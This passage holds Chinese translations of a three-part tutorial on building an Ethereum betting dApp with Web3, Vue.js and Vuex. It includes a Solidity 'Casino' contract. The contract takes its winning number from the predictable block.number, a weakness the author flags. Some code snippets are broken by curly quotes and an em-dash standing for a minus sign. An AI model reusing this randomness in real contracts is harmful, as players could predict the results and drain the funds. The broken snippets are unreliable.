start`,并在浏览器中访问 `localhost:8000`,你应该可以看到「Hello」出现在屏幕上。如果是这样的话,就表示你准备好进入下一步了。 ### 设置我们的 Vuex 容器 在这一节中,我们要设置我们的容器(store)。首先从在 _store_ 目录(上一节的最后一部分)下创建两个文件开始:_index.js_ 和 _state.js_;我们先从 _state.js_ 开始,它是我们所检索的数据一个空白表示(Blank representation)。 ``` let state = { web3: { isInjected: false, web3Instance: null, networkId: null, coinbase: null, balance: null, error: null }, contractInstance: null } export default state ``` 好了,现在我们要对 _index.js_ 进行设置。我们会导入 Vuex 库并且告诉 VueJS 使用它。我们也会把 state 导入到我们的 store 文件中。 ``` import Vue from 'vue' import Vuex from 'vuex' import state from './state' Vue.use(Vuex) export const store = new Vuex.Store({ strict: true, state, mutations: {}, actions: {} }) ``` 最后一步是编辑 main.js ,以包含我们的 store 文件: ``` import Vue from 'vue' import App from './App' import router from './router' import { store } from './store/' Vue.config.productionTip = false /* eslint-disable no-new */ new Vue({ el: '#app', router, store, components: { App }, template: '' }) ``` 干得好!因为这里有很多设置,(所以请)给你自己一点鼓励。现在已经准备好通过 web3 API 获取我们 Metamask 的数据,并使其在我们的应用发挥作用了。该来点真的了! ### 入门 Web3 和 Metamask 就像前面提到的,为了让 Vue 应用能获取到数据,我们需要触发(dispatch)一个 action 执行异步的 API 调用。我们会使用 promise 将几个方法链式调用,并将这些代码提取(封装)到文件 _util/getWeb3.js_ 中。粘贴以下的代码,其中包含了一些有助你遵循的注释。我们会在代码块下面对它进行解析: ``` import Web3 from 'web3' /* * 1. Check for injected web3 (mist/metamask) * 2. If metamask/mist create a new web3 instance and pass on result * 3. Get networkId - Now we can check the user is connected to the right network to use our dApp * 4. Get user account from metamask * 5. Get user balance */ let getWeb3 = new Promise(function (resolve, reject) { // Check for injected web3 (mist/metamask) var web3js = window.web3 if (typeof web3js !== 'undefined') { var web3 = new Web3(web3js.currentProvider) resolve({ injectedWeb3: web3.isConnected(), web3 () { return web3 } }) } else { // web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:7545')) GANACHE FALLBACK reject(new Error('Unable to connect to Metamask')) } }) .then(result => { return new Promise(function (resolve, reject) { // Retrieve network ID result.web3().version.getNetwork((err, networkId) => { if (err) { // If we can't find a networkId keep result the same and reject the promise reject(new Error('Unable to retrieve network ID')) } else { // Assign the networkId property to our result and resolve promise result = Object.assign({}, result, {networkId}) resolve(result) } }) }) }) .then(result => { return new Promise(function (resolve, reject) { // Retrieve coinbase result.web3().eth.getCoinbase((err, coinbase) => { if (err) { reject(new Error('Unable to retrieve coinbase')) } else { result = Object.assign({}, result, { coinbase }) resolve(result) } }) }) }) .then(result => { return new Promise(function (resolve, reject) { // Retrieve balance for coinbase result.web3().eth.getBalance(result.coinbase, (err, balance) => { if (err) { reject(new Error('Unable to retrieve balance for address: ' + result.coinbase)) } else { result = Object.assign({}, result, { balance }) resolve(result) } }) }) }) export default getWeb3 ``` 第一步要注意的是我们使用 promise 链接了我们的回调方法,如果你不太熟悉 promise 的话,请参考[此链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)。下面我们要检查用户是否有 Metamask(或 Mist)运行。Metamask 注入 web3 本身的实例,所以我们要检查 window.web3(注入的实例)是否有定义。如果是否的话,我们会用 Metamask 作为当前提供者(currentProvider)创建一个 web3 的实例,这样一来,实例就不依赖于注入对象的版本。我们把新创建的实例传递给接下来的 promise,在那里我们做几个 API 调用: * _web3.version.getNetwork()_ 将返回我们连接的网络 ID。 * _web3.eth.coinbase()_ 返回我们节点挖矿的地址,当使用 Metamask 时,它应该会是已选择的账户。 * _web3.eth.getBalance(\)_ 返回作为参数传入的该地址的余额。 还记得我们说过 Vuex 容器中的 action 需要异步地进行 API 调用吗?我们在这里将其联系起来,然后再从组件中将其触发。在 _store/index.js_ 中,我们会导入 _getWeb3.js_ 文件,调用它,然后将其(结果)commit 给一个 mutation,并让其(状态)保留在容器中。 在你的 import 声明中增加: ``` import getWeb3 from '../util/getWeb3' ``` 然后在(store 内部)的 action 对象中调用 _getWeb3_ 并 _commit_ 其结果。我们会添加一些 `console.log` 在我们的逻辑中,这样做是希望让 dispatch-action-commit-mutation-statechange 流程更加清楚,有助于我们理解整个执行的步骤。 ``` registerWeb3 ({commit}) { console.log('registerWeb3 Action being executed') getWeb3.then(result => { console.log('committing result to registerWeb3Instance mutation') commit('registerWeb3Instance', result) }).catch(e => { console.log('error in action registerWeb3', e) }) } ``` 现在我们要创建我们的 mutation,它会将数据存储为容器中的状态。通过访问第二个参数,我们可以访问我们 commit 到 mutation 中的数据。在 _mutations_ 对象中增加下面的方法: ``` registerWeb3Instance (state, payload) { console.log('registerWeb3instance Mutation being executed', payload) let result = payload let web3Copy = state.web3 web3Copy.coinbase = result.coinbase web3Copy.networkId = result.networkId web3Copy.balance = parseInt(result.balance, 10) web3Copy.isInjected = result.injectedWeb3 web3Copy.web3Instance = result.web3 state.web3 = web3Copy } ``` 很棒!现在剩下要做的是在我们的组件中触发(dispatch)一个 action,取得数据并在我们的应用中进行呈现。为了触发(dispatch)action,我们将会用到 [Vue 的生命周期钩子](https://vuejs.org/v2/guide/instance.html#Instance-Lifecycle-Hooks)。在我们的例子中,我们要在它创建之前触发(dispatch)action。在 _components/casino-dapp.vue_ 中的 name 属性下增加以下方法: ``` export default { name: 'casino-dapp', beforeCreate () { console.log('registerWeb3 Action dispatched from casino-dapp.vue') this.$store.dispatch('registerWeb3') }, components: { 'hello-metamask': HelloMetamask } } ``` 很好!现在我们要渲染 hello-metamask 组件的数据,我们账户的所有数据都将在此组件中进行呈现。从容器(store)中获得数据,我们需要在计算属性中增加一个 getter 方法。然后,我们就可以在模板中使用大括号来引用数据了。 ``` ``` 太棒啦!现在一切都应该完成了。在你的终端(terminal)中通过 `npm start` 启动这个项目,并访问 `localhost:8080`。现在,我们可以看到 Metamask 的数据。当我们打开控制台,应该可以看到 `console.log` 输出的 —— 在 Vuex 那段中的描述状态管理模式信息。 ![](https://cdn-images-1.medium.com/max/800/1*Z1S3FigrOgjE4xEY8f5PcQ.png) 说真的,如果你走到了这一步并且一切正常,那么你真的很棒!这是本系列教程目前为止,难度最大的一部分。在下一部分中,我们将学到如何轮询 Metamask(如:账户切换)的变化,并将在第一部分描述智能合约与我们的应用相连接。 **以防万一你出现错误,在[这个 Github 仓库](https://github.com/kyriediculous/dapp-tutorial/tree/hello-metamask) 的 hello-metamask 分支上有此部分完整的代码** **不要错过**[**本系列的最后一部分**](https://medium.com/@Alt_Street/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3-dc4f82fba4b4)**!** 如果你喜欢本教程的话,请让我们知道,谢谢你坚持读到最后。 ETH — 0x6d31cb338b5590adafec46462a1b095ebdc37d50 * * * 想完成自己的想法吗?我们提供以太坊(Ethereum)概念验证和开发众募。 - [**Alt Street —— 区块链顾问**:区块链概念验证和代币销售等等... altstreet.io](https://altstreet.io) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md ================================================ > * 原文地址:[Create your first Ethereum dAPP with Web3 and Vue.JS (Part 3)](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3-dc4f82fba4b4) > * 原文作者:[Alt Street](https://itnext.io/@Alt_Street?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md) > * 译者:[sakila1012](https://github.com/sakila1012) > * 校对者:[allenlongbaobao](https://github.com/allenlongbaobao),[talisk](https://github.com/talisk) # 使用 Web3 和 Vue.js 来创建你的第一个以太坊去中心化应用程序(第三部分) 大家好,欢迎来到本系列的最后一部分。如果你还没进入状况,那么我告诉你,我们将为以太坊区块链创建一个简单的去中心化应用程序。您可以随时查看第 1 和第 2 部分! - [使用 Web3 和 Vue.js 来创建你的第一个以太坊中心化应用程序(第一部分)](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md) - [使用 Web3 和 Vue.js 来创建你的第一个以太坊中心化应用程序(第二部分)](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md) ### 接着第二部分的结尾开始 到目前为止,我们的应用程序能够从 metamask 获取并显示帐户数据。但是,在更改帐户时,如果不重新加载页面,则不会更新数据。这并不是最优的,我们希望能够确保响应式地更新数据。 我们的方法与简单地初始化 web3 实例略有不同。Metamask 还不支持 websockets,因此我们将不得不每隔一段时间就去轮询数据是否有修改。我们不希望在没有更改的情况下调度操作,因此只有在满足某个条件(特定更改)时,我们的操作才会与它们各自的有效负载一起被调度。 也许上述方法并不是诸多解决方案中的最优解,但是它在严格模式的约束下工作,所以还算不错。在 _util_ 文件夹中创建一个名为 _pollWeb3.js_ 的新文件。下面是我们要做的: * 导入 web3,这样我们就不依赖于 Metamask 实例 * 导入我们的 store,这样我们就可以进行数据对比和分发操作 * 创建 web3 实例 * 设置一个间隔来检查地址是否发生了变化,如果没有,检查余额是否发生了变化 * 如果地址或余额有变化,我们将更新我们的 store。因为我们的 _hello-metamask_ 组件具有一个 _Computed_ 属性,这个改变是响应式的 ``` import Web3 from 'web3' import {store} from '../store/' let pollWeb3 = function (state) { let web3 = window.web3 web3 = new Web3(web3.currentProvider) setInterval(() => { if (web3 && store.state.web3.web3Instance) { if (web3.eth.coinbase !== store.state.web3.coinbase) { let newCoinbase = web3.eth.coinbase web3.eth.getBalance(web3.eth.coinbase, function (err, newBalance) { if (err) { console.log(err) } else { store.dispatch('pollWeb3', { coinbase: newCoinbase, balance: parseInt(newBalance, 10) }) } }) } else { web3.eth.getBalance(store.state.web3.coinbase, (err, polledBalance) => { if (err) { console.log(err) } else if (parseInt(polledBalance, 10) !== store.state.web3.balance) { store.dispatch('pollWeb3', { coinbase: store.state.web3.coinbase, balance: polledBalance }) } }) } } }, 500) } export default pollWeb3 ``` 现在,一旦我们的 web3 实例被初始化,我们就要开始轮询更新。所以,打开 _Store/index.js_ ,导入 _pollWeb3.js_ 文件,并将其添加到我们的 _regierWeb3Instance()_ 方法的底部,以便在状态更改后执行。 ``` import pollWeb3 from '../util/pollWeb3' registerWeb3Instance (state, payload) { console.log('registerWeb3instance Mutation being executed', payload) let result = payload let web3Copy = state.web3 web3Copy.coinbase = result.coinbase web3Copy.networkId = result.networkId web3Copy.balance = parseInt(result.balance, 10) web3Copy.isInjected = result.injectedWeb3 web3Copy.web3Instance = result.web3 state.web3 = web3Copy pollWeb3() } ``` 由于我们正在调度操作,所以需要将其添加到 store 中,并进行变异以提交更改。我们可以直接提交更改,但为了保持模式一致性,我们不这么做。我们将添加一些控制台日志,以便您可以在控制台中观看精彩的过程。在 actions 对象中添加: ``` pollWeb3 ({commit}, payload) { console.log('pollWeb3 action being executed') commit('pollWeb3Instance', payload) } ``` 现在我们只需要对传入的两个变量进行更改 ``` pollWeb3Instance (state, payload) { console.log('pollWeb3Instance mutation being executed', payload) state.web3.coinbase = payload.coinbase state.web3.balance = parseInt(payload.balance, 10) } ``` 搞定了!如果我们现在改变 Metamask 的地址,或者余额发生变化,我们将看到在我们的应用程序无需重新加载页面更新。当我们更改网络时,页面将重新加载,我们将重新注册一个新实例。但是,在生产中,我们希望显示一个警告,要求更改到部署协约的正确网络。 我知道这是一个漫长的道路。但在下一节,我们将最终深入到我们的智能协议连接到我们的应用程序。与我们已经做过的相比,这实际上相当容易了。 ### 实例化我们的协议 首先,我们将编写代码,然后部署协议并将 ABI 和 Address 插入到应用程序中。为了创建我们期待已久的 casino 组件,需要执行以下操作: * 需要一个输入字段,以便用户可以输入下注金额 * 需要代表下注数字的按钮,当用户点击某个数字时,它将把输入的金额押在该数字上 * onClick 函数将调用 smart 协议上的 bet() 函数 * 显示一个加载旋转器,以显示事务正在进行中 * 交易完成后,我们会显示用户是否中奖以及中奖金额 但是,首先,我们需要我们的应用程序能够与我们的智能协议交互。我们将用已经做过的同样的方法来处理该问题。在 _util_ 文件夹中创建一个名为 _getContract.js_ 的新文件。 ``` import Web3 from ‘web3’ import {address, ABI} from ‘./constants/casinoContract’ let getContract = new Promise(function (resolve, reject) { let web3 = new Web3(window.web3.currentProvider) let casinoContract = web3.eth.contract(ABI) let casinoContractInstance = casinoContract.at(address) // casinoContractInstance = () => casinoContractInstance resolve(casinoContractInstance) }) export default getContract ``` 首先要注意的是,我们正在导入一个尚不存在的文件,稍后我们将在部署协议时修复该文件。 首先,我们通过将 ABI(我们将回到)传递到 _web3.eth.Contact()_ 方法中,为稳固性协议创建一个协议对象。然后,我们可以在一地址上初始化该对象。**在这个实例中,我们可以调用我们的方法和事件。** 然而,如果没有 action 和变体,这将是不完整的。因此,在 _casino-component.vue_ 的脚本标记中添加以下内容。 ``` export default { name: ‘casino’, mounted () { console.log(‘dispatching getContractInstance’) this.$store.dispatch(‘getContractInstance’) } } ``` 现在 action 和变体在 store 中。首先导入 _getContract.js_ 文件,我相信您现在已经知道如何做到这一点了。然后在我们创建的过程中,调用它: ``` getContractInstance ({commit}) { getContract.then(result => { commit(‘registerContractInstance’, result) }).catch(e => console.log(e)) } ``` 把结果传给我们的变体: ``` registerContractInstance (state, payload) { console.log(‘Casino contract instance: ‘, payload) state.contractInstance = () => payload } ``` 这将把我们的协议实例存储在 store 中,以便我们在组件中使用。 ### 与我们的协议交互 首先,我们将添加一个数据属性(在导出中)到我们的 casino 组件中,这样我们就可以拥有具有响应式属性的变量。这些值将是 winEvent、amount 和 Pending。 ``` data () { return { amount: null, pending: false, winEvent: null } } ``` 我们将创建一个 onclick 函数来监听用户点击数字事件。这将触发协议上的 _bet()_ 函数,显示微调器,当它接收到事件时,隐藏微调器并显示事件参数。在 data 属性下,添加一个名为 methods 的属性,该属性接收一个对象,我们将在其中放置我们的函数。 ``` methods: { clickNumber (event) { console.log(event.target.innerHTML, this.amount) this.winEvent = null this.pending = true this.$store.state.contractInstance().bet(event.target.innerHTML, { gas: 300000, value: this.$store.state.web3.web3Instance().toWei(this.amount, 'ether'), from: this.$store.state.web3.coinbase }, (err, result) => { if (err) { console.log(err) this.pending = false } else { let Won = this.$store.state.contractInstance().Won() Won.watch((err, result) => { if (err) { console.log('could not get event Won()') } else { this.winEvent = result.args this.pending = false } }) } }) } } ``` _bet()_ 函数的第一个参数是在协议中定义的参数 u Number._Event.Target.innerHTML_ ,接下来,引用我们将在列表标记中创建的数字。然后是一个定义事务参数的对象,这是我们输入用户下注金额的地方。第三个参数是回调函数。完成后,我们将监听这一事件。 现在,我们将为组件创建 html 和 CSS。只是复制粘贴它,我认为它已经很浅显了。在此之后,我们将部署协议,并获得 ABI 和 Address。 ``` ``` ### Ropsten 网络和 Metamask(面向第一次用户) 如果您不熟悉 metamask 或以太坊网络,请不要担心。 1. 打开浏览器和 metamask 插件。接受使用条款并创建密码。 2. 将种子短语存放在安全的地方(这是为了在丢失钱包时将其恢复原状)。 3. 点击「以太坊主网」并切换到 Ropsten 测试网。 4. 单击「购买」,然后单击「Ropsten Testnet Fucet」。在这里我们可以得到一些免费的测试-以太坊。 5. 在 faucet 网站上,点击「从 faucet 请求 1 ether」几次。 当所有的事情都熟悉了并做完之后,您的 Metamask 应该如下所示: ![](https://cdn-images-1.medium.com/max/800/1*IT3Lpfh2FiPSMEvVUl4ffA.png) ### 部署和连接 再打开 remix,我们的协议应该还在。如果不是,请转到[此要点](https://gist.github.com/anonymous/6b06bef626928589e3a53a70c021ec02)并复制粘贴。在 ReMix 的 rop 右边,确保我们的环境被设置为「InsistedWeb 3(Ropsten)」,并且选择了我们的地址。 部署与[第1部分](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-c7221af1ed82)中的部署相同。我们在 Value 字段中输入几个参数来预装协议,输入构造函数参数,然后单击 Create。这一次,metamask 将提示接受/拒绝事务(约定部署)。单击「接受」并等待事务完成。 当 TX 完成后点击它,这将带你到那个 TX 的萎缩块链浏览器。我们可以在「to」字段下找到协议的地址。你的协议虽然不同,但看起来很相似。 ![](https://cdn-images-1.medium.com/max/800/1*_l_EVygtbwHgway4sxwOjQ.png) 我们的协议地址在「to」字段中。 这就给了我们地址,现在是 ABI。回到 remix 并切换到「编译」选项卡(右上角)。在协议名称旁边,我们将看到一个名为「Details」的按钮,单击它。第四个领域是我们的 ABI。 ![](https://cdn-images-1.medium.com/max/800/1*gGPKAotB7qmUY70ZdZDDyA.png) 不错,现在我们只需要创建前一节还不存在的一个文件。因此,在 _util/constents_ 文件夹中创建一个名为 _casinoContract.js_ 的新文件。创建两个变量,粘贴必要的内容并导出变量,这样我们从上面导入的内容就可以访问它们。 ``` const address = ‘0x…………..’ const ABI = […] export {address, ABI} ``` ### 干得好! 现在,我们可以通过在终端中运行 _npm start_ ,并在浏览器中运行 _localhost:8080_ 来测试我们的应用程序。输入金额并单击一个数字。Metamask 将提示您接受事务,旋转器将启动。在 30 秒到 1 分钟之后,我们得到第一次确认,因此也得到了事件的确认。我们的余额发生了变化,所以 pollweb 3 触发它的 action 来更新余额: ![](https://cdn-images-1.medium.com/max/800/1*GvWC8YzcuzWBs8TdSphiQw.png) 最终结果(左)和生命周期(右)。 如果你能在这个系列中走到这一步,我会为您鼓掌。我不是一个专业的作家,所以有时阅读起来并不容易。我们的应用程序在主干网上已经设置好了,我们只需要让它更漂亮一些,更友好一些。我们将在下一节中这样做,尽管这是可选的。 ### 关注需要它的部分 我们很快就会讲完的。它将只是一些 html、css 和 vue 条件语句,带有 v-if/v-Else。 **在 App.vue **中,将容器类添加到我们的 div 元素中,在 CSS 中定义该类: ``` .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } @media (min-width: 768px) { .container { width: 750px; } } ``` **在 main.js 中,**导入我们已经安装的 font-awesome 的库(我知道,这不是我们需要的两个图标的最佳方式): ``` import ‘font-awesome/css/font-awesome.css’ ``` **在 Hello-metanask.vue** 中,我们将做一些更改。我们将在我们的 _Computed_ 属性中使用 mapState 助手,而不是当前函数。我们还将使用 v-if 检查 _isInjected_ ,并在此基础上显示不同的 HTML。最后的组件如下所示: ``` ``` 我们将执行相同的 v-if/v-else 方法来设计我们的事件,该事件将在赌场内部返回 **-Component.vue**: ```

    Congragulations, you have won {{winEvent._amount}} wei

    Sorry you lost, please try again.

    #has-won { color: green; } #has-lost { color:red; } ``` 最后,在我们的 _clickNumber()_ 函数中,在 _this.winEvent=Result.args_ :下面添加一行: ``` this.winEvent._amount = parseInt(result.args._amount, 10) ``` ### 恭喜,你已经完成了! **首先,项目的完整代码可以在主分支下获得:**[**https://github.com/kyriediculous/dapp-tutorial/tree/master**](https://github.com/kyriediculous/dapp-tutorial/tree/master) **!** ![](https://cdn-images-1.medium.com/max/800/1*jb6ety7sf_MxbbAR30NIxQ.png) 输掉赌注后的最后申请: 在我们的应用程序中仍然有一些警告。我们没有在任何地方正确地处理错误,我们不需要所有的控制台日志语句,它不是一个非常完美的应用程序(我不是一个设计人员),等等。然而,这款应用程序做得很好。 希望本教程系列能够帮助您构建更多、更好的去中心化应用程序。我真诚地希望你和我一样喜欢读这篇文章。 我不是一个有 20 多年经验的软件工程师。因此,如果您有任何建议或改进,请随时发表意见。我喜欢学习新事物,在力所能及的范围内提高自己。谢谢。 更新:[增加以太坊平衡显示](https://github.com/kyriediculous/dapp-tutorial/commit/a07edf3182a3d6c7284e830f709d79b61a40ab0e) **欢迎在Twitter上关注我们,访问我们的网站,如果您喜欢本教程,请留下提示!** - [**Alt Street(@Alt_strt)Twitter**:Alt Street的最新消息(@Alt_strt)。区块链是爱,区块链是生命。我们开发概念证明和...twitter.com](https://twitter.com/Alt_Strt) - [**Alt Street-区块链咨询公司**:区块链概念证明和象征性销售...AltStreet.io](https://altstreet.io) TIPJAR: ETH — 0x6d31cb338b5590adafec46462a1b095ebdc37d50 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md ================================================ > * 原文地址:[Create your first Ethereum dAPP with Web3 and Vue.JS (Part 1)](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-c7221af1ed82) > * 原文作者:[Alt Street](https://itnext.io/@Alt_Street?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md) > * 译者:[foxxnuaa](https://github.com/foxxnuaa) > * 校对者:[yankwan](https://github.com/yankwan),[FateZeros](https://github.com/FateZeros) # 使用 Web3 和 Vue.js 来创建你的第一个以太坊 dAPP(第一部分) 欢迎来到另一个教程!在本教程中,我们将讨论如何使用 Ethereum、Web3js、VueJS 和 Vuex 创建一个简单的、响应式的去中心化应用程序。您可能需要对 javascript 和 web 应用程序有一些了解才能真正享受本教程。如果您不了解 Vue,不用担心,我们将在实现应用程序时简要地介绍一下基础知识。 我们的应用将会很简单。用户可以在 1 到 10 之间下注以太币。当用户猜对时,他得到了他的奖励 x10(略低于庄家切牌)。 第一部分,我们将讨论项目设置和智能合约的创建。第二部分,我们将介绍 web3js API 和 VueJS/Vuex,第三部分,我们将融会贯通并将应用程序连接到合约中。跟着一起,享受旅程,会很棒的。 我们的应用程序最终看起来像这样: ![](https://cdn-images-1.medium.com/max/800/1*sELED_FHGWla_S1QJQxzhA.png) 我们的最终应用程序。 * * * ### 前提条件 由于项目比较简单,我们不会使用 truffle。我们将在测试网络上使用 MetaMask 和 Remix([https://remix.ethereum.org](https://remix.ethereum.org))编写和部署智能合约。 我们需要做的第一件事是安装 nodeJS 和 NPM,在您的操作系统上按照步骤进行安装:[https://nodejs.org/en/](https://nodejs.org/en/)。在终端窗口运行如下命令检查 node 是否正确安装: ``` node -v npm -v ``` 接下来,如果您还没安装 metamask,则安装 metamask:[https://metamask.io/](https://metamask.io/) 我们最后一个条件是 vue-cli,它将帮助我们轻松设置 VueJS 项目: ``` npm i vue-cli -g ``` * * * ### 项目设置 我们将使用 remix 编写和部署智能合约,并通过 metamask 插件部署到 Ropsten 测试网络。在前端应用程序中,需要与合约交互的是合同地址和 _ABI_ ( _ABI_ 定义了如何在机器代码中访问数据结构或计算程序)。 我们的前端将是一个 vue-cli 生成的 vueJS 应用程序。我们也将使用 _web3_ 来与合约通信。遵循以下简单步骤,为客户端应用程序创建 backbone : 1. 打开一个终端,并将目录更改为您想要创建应用程序的地方。 2. 在终端窗口输入以下命令来创建我们的项目,并输入“回车”来完成向导: ``` vue init webpack betting-dapp ``` 3. 现在我们将进入我们的项目文件夹并安装 web3,vuex 和 font-awesome: ``` cd betting-dapp npm i web3@^0.20.0 vuex font-awesome -s //To start the dummy project generated by the vue-cli use 'npm start' ``` _*我们没有使用 web3 1.0.0 测试版,因为它在写入时与 MetaMask 不兼容。*_ * * * ### 编写智能合约 在我们毫无头绪地编码之前,我们必须首先分析我们需要的组件: 1. 我们需要知道合约的所有者并拥有访问权限(为简单起见,我们将不再修改所有者) 2. 合约的所有者可以销毁合约并提取余额 3. 用户可以在 1 - 10 之间下注 4. 在合约创建时,所有者能够设置最低下注金额和庄家上风(为简单起见,创建后不可更改) **第一步和第二步**非常简单,我们已经添加了注释,这样就没问题了。 打开 [Remix](http://remix.ethereum.org)开始工作(文章结尾处的要点链接): ``` pragma solidity ^0.4.10; contract Ownable { address owner; function Ownable() public { //Set owner to who creates the contract owner = msg.sender; } //Access modifier modifier Owned { require(msg.sender == owner); _; } } contract Mortal is Ownable { //Our access modifier is present, only the contract creator can use this function function kill() public Owned { selfdestruct(owner); } } ``` 首先我们创建合约 Ownable,构造函数 _Ownable()_将在创建时被调用,并将状态变量 'owner' 设置为创建者的地址。 我们还定义了一个访问控制,当我们附加的函数的调用者不是合约所有者时,它将抛出异常。 我们将此功能传递到 Mortal 合约中(Mortal 继承自 Ownabe )。 它有一个函数,允许合约所有者(访问控制)销毁合约并将剩余资金发回给他。 你已经走到这一步了?你做的很好!我们的合约差不多准备好了。 现在我们在**步骤3和步骤4**将创建 Casino 合约: 首先我们需要 minBet 和 houseEdge,可以在创建合约时设置。通过将参数传递给构造函数 _Casino() 实现。我们将会使构造函数为 payable,这样我们就可以在部署时使用 Ether 预先加载合约。我们也会实现回退过程: ``` contract Casino is Mortal{ uint minBet; uint houseEdge; //in % //true+amount or false+0 event Won(bool _status, uint _amount); function Casino(uint _minBet, uint _houseEdge) payable public { require(_minBet > 0); require(_houseEdge <= 100); minBet = _minBet; houseEdge = _houseEdge; } function() public { //fallback revert(); } } ``` 这还不够,所以接下来我们将添加函数用于下注一个数字。此函数将生成一个随机数(此方式不安全!),然后计算并发送赢得的奖励。在你的回退函数下面加上如下部分: ``` function bet(uint _number) payable public { require(_number > 0 && _number <= 10); require(msg.value >= minBet); uint winningNumber = block.number % 10 + 1; if (_number == winningNumber) { uint amountWon = msg.value * (100 — houseEdge)/10; if(!msg.sender.send(amountWon)) revert(); Won(true, amountWon); } else { Won(false, 0); } } ``` 为了在 1 - 10 之间生成一个随机数,我们取当前区块编号,并取当前区块号的模量(除数余数)。这总是会产生 0-9 之间的一个数,所以我们加1,从而得到一个 1 - 10 之间的“随机”数字。 例如:如果我们在新的匿名窗口中使用 javascript VM 在 remix 上部署合约,并在部署后调用 bet 函数,我们将总是得到 2 作为中奖号码。这是因为第一个块是 #1。1 的模是 1,加 1 等于 2。 _** 请注意,这并不是真正随机的,因为很容易预测下一个区块号。更多地了解 solidity 的随机性,请查看_[_https:/ /www.youtube.com/watch?v=3wY5PRliphE_]_._(https://www.youtube.com/watch?v=3wY5PRliphE) 为了计算赢取的奖金,我们只需计算一个乘数: ``` bet * (100 — houseEdge)/10 ``` 如果庄家上风为 0,我们的乘数是 10;如果庄家上风是 10%,则乘数是 9。 最后,我们将为所有者添加一个函数,以检查合约的余额,理想情况下,我们还希望为所有者添加一个提取函数,但我们现在就不做了。在你的 bet 函数下面添加以下几行: ``` function checkContractBalance() Owned public view returns(uint) { return this.balance; } ``` **伟大的工作!**合约现在已经准备好进行测试了! * * * ### 在 remix 上测试我们的合约 在 remix 的右上角单击 run 选项卡。确保将环境设置为 _Javascript VM_。在 value 字段中输入 _20_ 并从下拉列表中选择 _Ether_ 而不是 _Wei_ 。这将在部署时使用 20 Eth 预加载合约。下面,在 create 按钮旁边输入我们的构造器参数 _minBet_ 和 _houseEdge_ (比如,10000 wei 和 10% 的庄家上风)。 做完它应该是这样的: ![](https://cdn-images-1.medium.com/max/800/1*yMcvHe8mAc6q15LRI18I9A.png) 在点击“创建”之前,它应该是这样的。 现在单击 create 按钮,合约实例应该出现在屏幕的右下角。将会有四个函数可见,点击 _getContractBalance()_ 检查一切是否正常,应该返回 _20000000000000000000_,这是我们发送的 20 ether 转换成 wei 得到的。你也会在右上角的账户旁边看到你的余额,现在将略低于80 ether。 ![](https://cdn-images-1.medium.com/max/800/1*CGrKr3a02opXs6NUpj_JMg.png) 点击“创建”合约后,余额应该是 20*1e18 wei。 好了!一切运行正常。就像前面提到的,当使用 javascript VM 时,第一个块总是 1,所以第一个中奖号码总是 2。我们可以通过在 value 字段中输入 1 ether 来测试,并将 2 作为参数传递给 bet。 当点击 bet 时,我们应该看到余额再次增加,在控制台点击详情,并滚动到“日志”。我们应该看到一个我们已经赢了的事件: ![](https://cdn-images-1.medium.com/max/800/1*KKOA1FXEbTwYqxYUIosMqQ.png) 我们赢了 9 以太币! 好吧!我们的合约运行正常。在下一节中,我们将在 Ropsten 测试网络上部署我们的合约,并获取合约地址和 ABI ,以便在我们的客户端应用程序中使用。在那之前! **阅读** [**PART 2**](https://medium.com/@Alt_Street/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2-52248a74d58a) **!** 如果您喜欢我们的教程,欢迎打赏,感谢您的阅读,如果您已经读到这里,请坚持下去! ETH: 0x6d31cb338b5590adafec46462a1b095ebdc37d50 完整的合约代码: 